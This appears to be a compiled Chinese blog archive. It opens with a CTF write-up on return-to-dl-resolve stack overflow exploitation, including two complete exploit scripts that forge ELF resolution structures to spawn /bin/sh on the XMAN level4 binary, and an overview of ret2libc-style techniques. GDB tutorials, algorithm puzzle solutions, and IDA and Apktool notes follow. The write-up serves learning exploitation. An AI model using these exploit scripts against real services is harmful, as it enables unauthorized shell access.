0%

最近学习了一下漏洞原理与利用,学习到栈溢出漏洞利用的一些技巧,记录下自己的学习心得。关于return to dl-resolve的原理,网上有许多的文章已经写的很清楚了,就不赘述。本文主要是根据return to dl-resolve的原理,实现32位和64位环境下的漏洞利用。

0x00. 准备知识

(1) 实验环境:
64bit Ubuntu16.04, kernel : 4.4.0
(2) 32位与64位区别:
Linux下32位应用的参数传递主要是通过栈来传递;而64位应用的前六个参数分别通过RDI, RSI, RDX, RCX, R8和 R9传递,如果有多余的参数,才会通过栈来传递。因此,在覆盖返回值时,平衡堆栈时就需要用到gadget。
(3) return to dl-resolve
Linux下可执行文件ELF的动态链接时,采用了延迟绑定技术。原理是:动态链接的库里有许多函数,但是可执行文件ELF不会全部调用这些函数,有些函数直到程序运行结束也不会被调用。因此,Linux下的链接器动态链接时不会进行函数地址重定位,而是等到函数第一次被调用时,进行函数地址重地位,也就是通过_dl_runtime_resolve函数到库中查找该函数的实际地址,并将其写入到该函数的got表中。
当栈溢出后,我们就可以控制程序流程到dl-resolve,解析出system函数的地址,从而实现漏洞的利用。

0x01. 32位环境下的return to dl-resolve实例

下面以XMAN level4为例,分别使用手写和使用工具roputils实现漏洞利用。
return to dl-resolve by manul

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/env python

from pwn import *

DEBUG = 1
if DEBUG:
context.log_level = 'debug'
p = process('./level4')
gdb.attach(p)
else:
p = remote('127.0.0.1', 10086)

offset = 0x8c
stack_size = 0x400
vulfun = 0x0804844b
bss_addr = 0x804a024
base_stage = bss_addr + stack_size

pppr = 0x8048509
p_ebp_r = 0x804850b
leave_r = 0x80483b8

elf = ELF('./level4')
write_plt = elf.plt['write']
read_plt = elf.plt['read']
write_got = elf.got['write']

def main():
payload1 = 'A' * offset + p32(read_plt) + p32(pppr) + p32(0) + p32(base_stage)
payload1 += p32(100) + p32(p_ebp_r) + p32(base_stage) + p32(leave_r)
p.sendline(payload1)

plt_start = 0x8048300
rel_plt = 0x80482b0
index_offset = (base_stage + 28) - rel_plt
dynsym_addr = 0x80481cc
dynstr_addr = 0x804822c
fake_sym = base_stage + 36
align = 0x10 - ((fake_sym - dynsym_addr) & 0xf)
fake_sym = fake_sym +align
index_dynsym = (fake_sym - dynsym_addr) / 0x10
r_info = (index_dynsym << 8) | 0x7
fake_reloc = p32(write_got) + p32(r_info)
st_name = (fake_sym + 16) - dynstr_addr
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)

payload2 = 'B' * 4 + p32(plt_start) +p32(index_offset) + 'C'*4 + p32(base_stage+80)
payload2 += 'A'*8 + fake_reloc + 'D'*align
payload2 += fake_sym + 'system\x00'
payload2 = payload2.ljust(80, 'A')
payload2 += '/bin/sh\x00'
payload2 = payload2.ljust(100, 'A')
p.sendline(payload2)

p.interactive()

if __name__ == '__main__':
main()

return to dl-resolve by roputils

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/env python

from roputils import *

DEBUG = 1
fpath = './level4'
offset = 0x8c

rop = ROP(fpath)
addr_bss = rop.section('.bss')
addr_plt_read = 0x08048310
addr_got_read = 0x0804a00c

buf = rop.retfill(offset)
# roputils has changed call function in new version
buf += rop.call(addr_plt_read, 0, addr_bss, 100)
buf += rop.dl_resolve_call(addr_bss+20, addr_bss)

if DEBUG:
p = Proc(rop.fpath)
else:
p = Proc(host='pwn2.jarvisoj.com', port=9880)

p.write(p32(len(buf)) + buf)
print "[+] read: %r" % p.read(len(buf))

buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
buf += rop.dl_resolve_data(addr_bss+20, 'system')
buf += rop.fill(100, buf)

p.write(buf)
p.interact(0)

0x02. 参考文献:

1. ROP之return to dl-resolve
2. 通过ELF动态装载构造ROP链(Return-to-dl-resolve)

0x00. 写在前面

在分析一个可执行文件前,需要先利用file命令判断是32bit还是64bit,注意32位和64位应用函数传参时的栈平衡。然后看看开启了什么防护,比如:NX、PIE、RELRO、FORTIRY、CANARY。如果开启了CANARY,就不是栈溢出利用那么简单了。

0x01. 静态链接的ELF

一般情况下,静态链接的ELF很少出现,但是也有一些。这类ELF的漏洞利用,主要还是依靠ELF本身和用户输入。
(1) ELF中含有system函数和‘/bin/sh’字符串,直接构造调用system(‘/bin/sh’)的payload。
(2) 没有开启NX,可以直接写shellcode,然后将程序控制流重定位到shellcode的地址。
(3) 利用ELF中的gadget硬构造出payload。

0x02. 动态链接的ELF

大多数情况下,ELF都是动态链接的 。在漏洞利用时有libc库和无libc库是两种不同的情况。
(1)有libc库(return to libc)
当给了libc库以后,漏洞利用就很简单了。首先通过栈溢出泄漏出一个函数在进程中实际的地址,然后通过查找libc库中该函数的偏移地址和system、/bin/sh的偏移的地址。计算出system、/bin/sh的实际地址,就可以很好的利用了。
(2)无libc库
1)手动查询
通过泄露两个函数在内存中的实际地址,然后到libc-database中查询libc的版本号,就可以确定libc库。后面的方法和有libc库利用方法一样。不过,这种方法有时候不一定奏效。
2)DynELF
有些工具可以帮助泄露函数的地址,通过DynELF泄露system函数的地址,然后往一个地方(.bss区)写’/bin/sh’字符串,然后调用。
3)return to dl-resolve
这是通过ELF动态链接时,采用延迟绑定技术。当第一次调用函数时,调用_dl_runtime_resolve函数进行函数地址解析。利用栈溢出构造ROP链,伪造对其他函数(如:system)的解析。
4)其他自定义的库
通过栈溢出将自定义的库dump下来,分析其中的符号表,确定其中的函数。然后利用前面的方法的实现漏洞利用。

接着《调试器gdb的基本使用方法(1)》,继续介绍gdb的基本使用方法。

0x01. 其他断点

硬件断点(hbreak),适用于ROM空间等无法修改的内存区域中的程序。在有些框架中无法使用。临时断点(tbreak)和临时硬件断点(thbreak),与断点相同,都会在运行到该处时暂停,不同之处就是临时断点(临时硬件断点)会在此时被删除,故在只需停止一次时用起来很方便。

0x02. 改变变量的值

可以使用命令set variable 改变运行中程序的变量值。格式: set variable <变量>=<表达式>

1
2
3
4
5
(gdb) p options
$7 = 1
(gdb) set variable options = 0
(gdb) p options
$8 = 0

0x03. 生成内核转储文件

使用 generate-core-file可将调试中的进程生成内核转储文件。
例如:(gdb) generate-core-file ====> Saved corefile core.13163
有了内核转储文件和调试对象,以后就能查看生成转储文件时的运行历史(寄存器值、内存值等)。

0x04. attach 到进程

要调试守护进程(damon process)等已经启动的进程,或者调试陷入死循环而无法返回控制台的进程时,可以使用attach命令。
如下格式:attach pid,执行这一命令就可以attach到进程ID为pid的进程上。可以使用ps命令查看进程ID。
需要在gdb和进程分离时使用detach命令。这样调试中的进程就被从gdb的控制下释放出来。进程被detach后会继续运行。
进程信息可以用info proc命令显示。

0x05. 条件断点

有一种断点仅在特定条件下中断。
格式:break 断点 if 条件,该命令将测试给定的条件,如果为真则暂停运行。
另外几种格式:
condition 断点编号 //给指定的断点删除触发条件
condition 断点编号 条件 //给指定的断点添加触发条件

0x06. 反复执行

在编号指定的断点、监视点(watchpoints)或捕获点(catchpoint)忽略指定的次数。格式:ignore 断点编号 次数
continue 命令与ignore命令一样,也可以指定次数,达到指定次数前,执行到断点时不暂停,二者的意义是相同的。

格式 说明
continue N 执行continue N次
step N 执行step N次
stepi N 执行stepi N次
next N 执行next N次
nexti N 执行nexti N次

其他指令,finish命令执行完当前函数后暂停。until命令执行完当前函数等代码块后暂停,如果时循环,则在执行完循环后暂停,常用于跳出循环。

0x07. 删除断点和禁用断点

clear命令删除已定义的断点,用disable命令禁用断点,用enable命令重新启用断点。
clear的使用方法和设置断点的方法类似。

禁用断点:

格式 说明
disable [breakpoints] 禁用所有断点
disable [breakpoints] 断点编号 禁用指定断点
disable display 显示编号 禁用display命令定义的自动显示
disable mem 内存区域 禁用mem命令定义的内存区域

启用断点:

格式 说明
enable [breakpoints] 重新启用所有断点
enable [breakpoints] 断点编号 重新启用指定断点
enable [breakpoints] once 断点编号 重新启用指定断点,仅一次
enable [breakpoints] delete 断点编号 重新启用指定断点,触发后删除该断点
enable display 显示编号 启用display命令定义的自动显示
enable mem 内存区域 启用mem命令定义的内存区域

0x08. 断点命令

断定命令(commands)可以定义在断点中断后自动执行的命令。

1
2
3
4
5
格式:
commands 断点编号
命令
...
end

程序在指定的断点处暂停后,就会自动执行命令。

0x09. gdb的常用命令及省略形式

命令名称在不与其他命令重复的前提下,可以按照下述方式简写,如下表所示。在命令行模式下使用时,按Tab键,gdb就会自动补全命令。

常见命令和简写形式

命令 简写形式 说明
backtrace bt、where 显示栈帧
break b 设置断点
continue c、cont 继续运行
clear 删除断点
delete d 删除断点
finish fin 运行到函数结束
info breakpoints info break 显示断点信息
next n 执行下一行,单步步过
print p 显示表达式
run r 运行程序
step s 一次执行一行,单步步入
x 显示内存内容
until u 执行到指定行
directory dir 插入目录
disable dis 禁用断点
down do 当前调用的栈帧中选择要显示的栈帧
edit e 编辑文件或函数
frame f 选择要显示的栈帧
forward-search fo 向前搜索
generate-core-file gcore 生成内核转储
help h 显示帮助信息
info i 显示信息
list l 显示函数或行
nexti ni 汇编级,单步步过
print-object po 显示目标信息
sharedlibrary share 加载共享库的符号
stepi si 汇编级,单步步入

本系列主要是记录下Linux环境下的标准调试器GDB的使用方法。GDB的功能极其丰富,各种各样的命令使人眼花缭乱。下面按照调试的流程进行说明,流程如下: (1) 带着调试选项编译、构建调试对象。(2) 启动调试器(GDB)、设置断点、显示栈帧、显示值、继续执行。

0x01. 准备

通过gcc的 -g 选项生成调试信息。即如: $ gcc -Wall -O2 -g 源文件
如果使用Makefile构建,一般要给CFLAGS中指定 -g 选项。如: CFLAGS = -Wall -O2 -g
如果用configure脚本生成Makefile,可以这样用: $ ./configur CFLAGS="-Wall -O2 -g"
构建方法通常会写在INSTALL、README等文件中,参考即可。

0x02. 启动

启动gdb调试器很简单,通过如下命令: $ gdb 可执行文件名
启动后会显示一些信息,并出现gdb提示符。

0x03. 设置断点

可以在函数名和行号等上设置断点。程序运行后,到达断点就会自动暂停运行。此时可以查看该时刻的变量值、显示栈帧、重新设置断点或重新运行等。断点命令break(简写b)。

格式:
break 函数名
break 行号
break 文件名:行号
break 文件名:函数名
break +偏移量
break -偏移量
break * 地址

如上所示,断点可以通过函数名、当前文件内的行号来设置,也可以先指定文件名再指定行号,还可以指定与暂停位置的偏移量,或者用地址来设置。

0x04. 运行

run命令开始运行,不加参数只执行run,就会执行到设置了断点的位置后暂停运行。可以简写为r。

1
2
3
4
5
6
7
格式:
run 参数
例子:
(gdb) run -a
Starting program: /home/xxx/work/coreutils/src/uname -a
Breakpoint 1,main (argc=2, argv=0xbf9cd714) at uname.c:184

经常用到的一个操作是main()上设置断点,然后执行到main()函数。start 命令能达到同样的效果。

0x05. 显示栈帧

backtrace 命令可以在遇到断点而暂停执行时显示栈帧。该命令简写为 bt 。此外,backtrace的别名还有whereinfo stack (简写为 info s)。

命令 说明
backtrace 显示所有栈帧
backtrace N 只显示开头N个栈帧
backtrace -N 只显示最后N个栈帧
backtrace full 显示所有栈帧和局部变量
backtrace full N 显示开头N个栈帧和局部变量
backtrace full -N 显示最后N个栈帧和局部变量

0x06. 显示变量

print 命令可以显示变量。简写为p

1
2
3
4
5
6
7
8
9
10
格式:  print 变量
(gdb) p argv
$1 = (char **) 0xbf9cd714
(gdb) p *argv
$2 = 0xbf9cf6a5 "/home/xxx/work/coreutils/src/uname"
(gdb) p argv[0]
$3 = 0xbf9cf6a5 "/home/xxx/work/coreutils/src/uname"
(gdb) p argv[1]
$4 = 0xbf9cf6cd "-a"
(gdb)

0x07. 显示寄存器

info registers 可以显示寄存器内容,简写 info reg
在寄存器名之前添加$,即可显示各个寄存器的内容。
(gdb) p $eax ===> $8 = 97
显示时可以使用以下格式:p/格式 变量

表1-1 显示寄存器可使用的格式

格式 说明
x 显示为十六进制数
d 显示为十进制数
u 显示为无符号十进制数
o 显示为八进制数
t 显示为二进制数,t的由来是two
a 地址
c 显示为字符(ASCII)
f 浮点小数
s 显示为字符串
i 显示为机器语言(仅在显示内存的X命令中可用)

例如:(gdb) p/c $eax ====>$7 = 97 'a'

x命令可以显示内存的内容,x这个名字的由来是eXamining。
显示的格式:x/格式 地址

1
2
3
4
(gdb) x $pc
0x8048ebd <main+173>: 0x0f6ef883
(gdb) x/i $pc // x/i意为显示汇编指令
0x8048ebd <main+173>: cmp $0x6e,%eax

反汇编的命令 disassemble,简写为disas

格式 说明
disassemble 反汇编当前整个函数
disassemble 程序计数器 反汇编程序计数器所在的含数
disassemble 开始地址 结束地址 反汇编从开始地址到结束地址之前的部分

0x08. 单步执行

单步执行的意思是根据源代码一行一行地执行。逐条执行源代码的命令为next(简写为n)和step(简写为s),其中next为单步步过,即执行时如果遇到函数调用,则跳到函数调用的下一行;step为单步步入,即执行时如果遇到函数调用,则跳到函数内部。
如果要逐条执行汇编执行,则可以分别使用nextistepinextistepi的区别同源码级单步执行。

0x09. 继续运行

调试时,可以使用continue(简写为C)命令继续运行程序。程序会在遇到断点后再次暂停运行,如果没有遇到断点,就会一直运行到结束。

格式 说明
continue 继续运行程序,直到遇到断点
continue 次数 指定次数可以忽略断点

0x10. 监视点

大型软件或大量使用指针的程序中,很难弄清变量在什么地方被改变。要想找到变量在何处被改变,可以使用watch命令(监视点,watchpoint)。

格式 说明
watch <表达式> <表达式>发生变化时暂停运行,<表达式>指常量或变量
awatch <表达式> <表达式>被访问、改变时暂停运行
rwatch <表达式> <表达式>被访问时暂停运行

0x11. 删除断点和监视点

delete(简写d)命令删除断点和监视点
格式如下:delete <编号>
删除<编号>指示的断点或监视点。

http://hihocoder.com/problemset/problem/1308
骑士巡游问题,简单来说就是关于在棋盘上放置若干个骑士,然后探究移动这些骑士是否能满足一定的而要求。举个例子啊:一个骑士从起始点开始,能否经过棋盘上所有的格子再回到起点。简单一点的比如棋盘上有3个骑士,能否通过若干次移动走到一起?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#include <stdio.h>
#include <string.h>

#define M 8
#define MAXN 1000
#define INF 0x8000000

typedef struct{
int x,y;
}point;

point qu[MAXN];

int vis[3][M][M];
int move[8][2] = {{1,2}, {1,-2}, {-1,2}, {-1,-2}, {2,1}, {2,-1}, {-2,1}, {-2,-1}};

int check(int x, int y, int n){
if( x>=0 && x <8 && y>=0 && y <8 && vis[n][x][y] == -1)
return 1;
else
return 0;
}

void bfs_solve(int n, int x, int y){

int i, head = 0, tail = -1;
point tp;

memset(vis[n], -1, sizeof(vis[n]));
vis[n][x][y] = 0;
tp.x = x;
tp.y = y;
qu[++tail] = tp;

while(head <= tail){
int nowx, nowy;
tp = qu[head++];
nowx = tp.x;
nowy = tp.y;

for(i=0; i<8; ++i){
int nx,ny;
nx = nowx + move[i][0];
ny = nowy + move[i][1];

if(check(nx, ny, n)){
vis[n][nx][ny] = vis[n][nowx][nowy] + 1;
tp.x = nx;
tp.y = ny;
qu[++tail] = tp;
}

}
}
}

void solve(int ch[][2]){
int i,j;

for(i=0; i<3; ++i){
bfs_solve(i, ch[i][0], ch[i][1]);
}

int ans = INF;
for(i=0; i<M; ++i)
for(j=0; j<M; ++j){
int res = vis[0][i][j] + vis[1][i][j] + vis[2][i][j];
if(ans > res)
ans = res;
}
printf("%d\n", ans);
}


int main(){
int i,j,T;
int ch[3][2];

// FILE *fin = fopen("input.txt", "r");
while(scanf("%d", &T) != EOF){

for(j = 0; j<T; j++){
char tmp[3];

for(i = 0; i < 3; ++i){
scanf("%s", &tmp);
ch[i][0] = tmp[0] - 'A';
ch[i][1] = tmp[1] - '1';
}

solve(ch);
}
}
return 0;
}

题目说明:

有数量不同的n种面额的硬币,用这n种硬币,使其总额等于给定一个面额m
要求:

  1. 每种货币都必须使用
  2. 面额小的硬币的使用数量必须大于面额大的硬币数量
  3. 硬币总的数量必须最少
  4. 如果没有满足条件1和2的组合,输出NA
  5. 硬币n满足2<n<10,总金额m满足m<1000,硬币的最大面额小于20。

输入:要求的总金额及每种硬币的面额
输出:硬币总数。面额从小到大的每种硬币的个数

样例输入:
20
1 2 5
样例输出:
9
4 3 2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#include <stdio.h>
#define MAXN 11

int N, ans[MAXN];

void print_ans(){
int i, j, sum=0, x[MAXN];

for(i = 1; i <= N; i++){
x[i] = 0;
for(x[i] = 0, j = i; j<=N; j++)
x[i] += ans[j];
sum += x[i];
}

printf("%d\n", sum);
for(i = 1; i <= N; i++)
printf("%d ",x[i]);
printf("\n");
}

int dp(int C[], int V, int n){

int i,j;

if(V % C[n] == 0){
ans[n] += V/C[n];
print_ans();
return 1;
}


for(i=n; i>0; i--){

int cont = V/C[i];

for(j=cont; j>0; j--){

ans[i] += j;
if(dp(C, V-C[i]*j, n-1))
return 1;
ans[i] -= j;
}
}
return 0;
}

void solve(int coin[], int m, int num){
int i, j, tmp[MAXN];

tmp[0] = 0;
for(i = num; i > 0; i--){
tmp[i] = 0;

for(j =0; j < i; j++)
tmp[i] += coin[j];
ans[i] = 1;
m -= tmp[i];
}

if(m < 0){
printf("NA\n");
}else{

if(!dp(tmp, m, num))
printf("NA\n");
}
}

int main(){

int i, m, coin[MAXN];

FILE *fin = fopen("input.txt", "r");

while(fscanf(fin, "%d %d", &m, &N) != EOF){

for(i=0; i<N; i++)
fscanf(fin, "%d", &coin[i]);

solve(coin, m, N);

}

return 0;
}


// input.txt
// 20 3
// 2 3 5
// 25 3
// 3 4 5
// 21 4
// 1 2 3 4
// 33 3
// 2 5 10
// 100 3
// 2 5 8

IDA Pro 是一款很强大的静态反汇编工具,现在介绍几个IDA Pro常用的插件。

0x01. Hex-Rays 反编译插件

Hex-Rays 反编译插件可以将汇编代码反编译成伪C/C++代码,便于用户阅读,提高反汇编的效率。目前Hex-Rays反编译插件只能在32位平台上运行,可以反编译Intel x86、Intel x86_64,ARM32、ARM64处理器产生的汇编代码。Hex-Rays仅以二进制格式发布,安装时,只需将提供的插件文件复制到/plugins目录即可。
使用时,反编译包含光标的函数,只需要通过View -> Open Subview -> Pseudocode(热键 F5)。反编译整个程序,使用File -> Produce File -> Create C File (热键 CTRL+F5)。

0x02. IDAPython

IDAPython功能十分强大。目前在IDA Pro 5.4及以后版本都已经集成了。

0x03. idaemu

这个插件可以在IDA Pro中模拟执行指令代码。目前支持的架构:X86(16, 32, 64bit)、ARM32、ARM64、MIPS。插件网址

0x04. 待续…

今天使用Apktool反编译一个apk,修改smali字节码后重新构建apk,其中遇到一下问题。相信有不少人也会遇到类似的问题。

0x01. Apktool 安装

在安装Apktool之前必须具备Java运行时环境(JRE)。 然后去Apktool的官方网站下载安装,官方网站有详细的安装教程,不同的平台,根据教程一步步来安装,很简单的。安装完成之后,测试一下Apktool的功能,对于大多数的apk都可以反编译和构建。但是对于最新的android版本(比如android 6.0等),可能会出现如下的提示:

1
/home//Apktooldir/res/values/styles.xml:293: error: Error retrieving parent for item: No resource found that matches the given name 'Widget.AppCompat.Base'.

** 主要原因是:Framework Files不是最新的,不能解析新版本里面新的资源属性。**

0x02. 更新Framework Files

Apktool需要框架文件(framework file)来反编译和构建apk。其实framework file就是一个名为framework-res.apk的文件。
Apktool会内嵌标准的框架文件,因此一般不需要安装framwework file。但是,有时候framework file文件可能有些过时,需要从官网下载framework file文件。甚至有些制造商(比如:三星)会添加自己的框架文件并且在应用中使用,这时候需要我们自己从设备中导出框架文件然后更新apktool的framework file。
从官方网站搜索下载最新的framework-res.apk文件,然后安装如下方法安装:

1
2
3
4
5
格式: apktool  if [framework location]

C:\Users\...\apktool if E:\downloads\framework-res.apk
I: Framework installed to: C:\Users\...\apktool\framework\1.apk

0x03. 使用Android Killer

Android Killer是一个比较不错的apk反编译工具,其可以看成是Apktool的前端,封装了Apktool的核心功能。并且添加了一些其他有用的功能,比如自动的签名等等。这些功能可以自己去探索。

一般在使用调试器的时,有些基本的操作,比如:设置断点、检查变量、设置监视点、移动调用栈等等。现在介绍GDB的这些操作。

0x01. 单步调试源代码

在gdb中用run命令运行程序。也可以安排程序的执行在某个地方暂停,以便检查变量的值,从而得到关于程序错误所在的位置线索。下面是可以用来暂停程序执行的一些方法。

  1. 断点
    在gdb中通过break命令及其行号设置断点,主要有4中方法:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    格式: break function
    说明:在函数function的入口处设置断点。比如:(gdb) break main

    格式:break line_number
    说明:在当前活动源代码文件的line_number出设置断点。比如:(gdb) break 35

    格式:break filename:line_number
    说明:在源代码文件filename的line_number处设置断点。如果filename不在当前工作目录中,则可以给出相对路径名或者完全路径名来帮助gdb查找该文件。比如:(gdb) break source/bed.c:35

    格式:break filename:function
    说明:在文件filename中的函数function()的入口处设置断点。重载函数或者使用同名静态函数的程序可能需要使用这种形式,比如:(gdb) break bed.c:parseAguments

  2. 单步调试
    gdb拥有单步调试的能力,比如next命令让gdb执行下一行,然后暂停。step命令的作用与此类似。两个区别:step是单步进入,即碰到函数调用时,step让gdb进入函数内部一一执行;而next是单步步过,即碰到函数执行时,next让gdb在函数调用的下一条语句暂停,跳过函数的执行。

  3. 恢复操作
    gdb中,continue命令通知调试器恢复执行并继续。还有finish和utill指令。

  4. 临时断点
    在gdb中,tbreak命令与break相似,但是这一命令设置的断点的有效期只到首次到达指定行时为知。

0x02. 检查变量

当调试器暂停了程序的执行后,可以执行一些命令来显示程序变量的值。这些变量可以是局部变量、全局变量、数组的元素和C语言的struct、C++类中的成员变量等。如果发现某个变量有一个出乎意料的值,那往往是找出某个程序错误的位置和性质的重要线索。gdb中可以使用print命令输出当前值:
(gdb) print j

0x03. 设置监视点

监视点结合了断点和变量检查的概念。最基本形式的监视点通知调试器,每当指定变量的值发生变化时都暂停程序的执行。例如。在程序执行期间,假设要在变量z改变值时查看程序的状态。在gdb中,可以执行如下命令:
(gdb) watch z

0x04. 上下移动调用栈

在函数的调用期间,与调用关联的运行时信息存储在称为栈帧(stack frame)的内存区域中。帧中包含函数的局部变量的值、其形参,以及调用该函数的位置的记录。每次发生函数调用时,都会创建一个新帧,并将其推到一个系统维护的栈上;栈最上方的帧表示当前正在执行的函数,当函数退出时,这个帧被弹出栈,并且释放。
在gdb中可以用如下命令查看以前的帧:
(gdb) frame 1
也可以使用backtrace命令显示整个栈,即当前存在的所有帧的集合:
(gdb) backtrace

软件调试的本质就是:确认原则。在调试的过程中,修正充满错误的程序,主要是确认代码的bug,一个个修复。以下介绍一些调试的一些原则:

0x01. 使用自顶向下的方法

通过自顶向下的方法,一步步理清楚程序的执行流程,分析其中可能出错的点。

0x02. 使用调试工具确定断错误的位置

当发生段错误时,执行的第一步操作应该是在调试器中运行程序并重新出发段错误。调试器将指出发生这种错误的代码行。然后,可以通过使用调试器的反向跟踪(backtrace)功能获得其他有用信息,该功能显示导致引发错误的函数的调用序列。
在某些情况下,可能很难重新产生段错误,如果有核心文件,则仍然可以执行反向跟踪以确定产生段错误的情况。

0x03. 通过中断确定无限循环的位置

如果怀疑程序中存在无限循环,则进入调试器并再次运行程序,让该程序执行足够长的时间以进入循环。然后,使用调试器的中断命令挂起该程序,并且执行反向跟踪。

0x04. 使用二分搜索

如果将错误定位在一大片代码中,可以使用二分搜索的思想慢慢减小范围。